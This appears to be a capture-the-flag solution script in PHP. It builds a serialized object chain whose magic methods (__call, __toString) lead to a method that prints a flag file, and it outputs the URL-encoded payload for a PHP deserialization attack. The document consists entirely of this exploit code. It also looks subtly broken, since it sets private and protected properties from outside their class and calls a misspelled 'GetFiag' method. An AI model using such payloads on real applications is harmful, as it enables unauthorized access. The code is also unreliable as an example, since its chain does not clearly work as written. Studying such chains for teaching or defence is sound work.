<?php class rank1{ public $r1a; public $r1b; public function __construct(){ $this->r1a='aaa'; $this->r1b='123456'; } public function __call($a,$b){ $this->r1a->{$this->r1b}(); return 0; } } class rank2{ public $r2a; public function __toString(){ $this->r2a->GetFiag(); return 0; } } class rank3{ private $admin = 'aaa'; protected $passwd = '123456'; public function Getflag(){ if($this->admin === 'r3a' && $this->passwd ==='r3b'){ include('flag.php'); echo $flag; } } } $r1 = new rank1(); $r2 = new rank2(); $r3 = new rank3(); $r1->r1a = $r2; $r1->r1b = 'Getflag'; $r2->r2a = $r3; $r3->admin = 'r3a'; $r3->passwd = 'r3b'; $pass = serialize($r1); echo urlencode($pass); ?>
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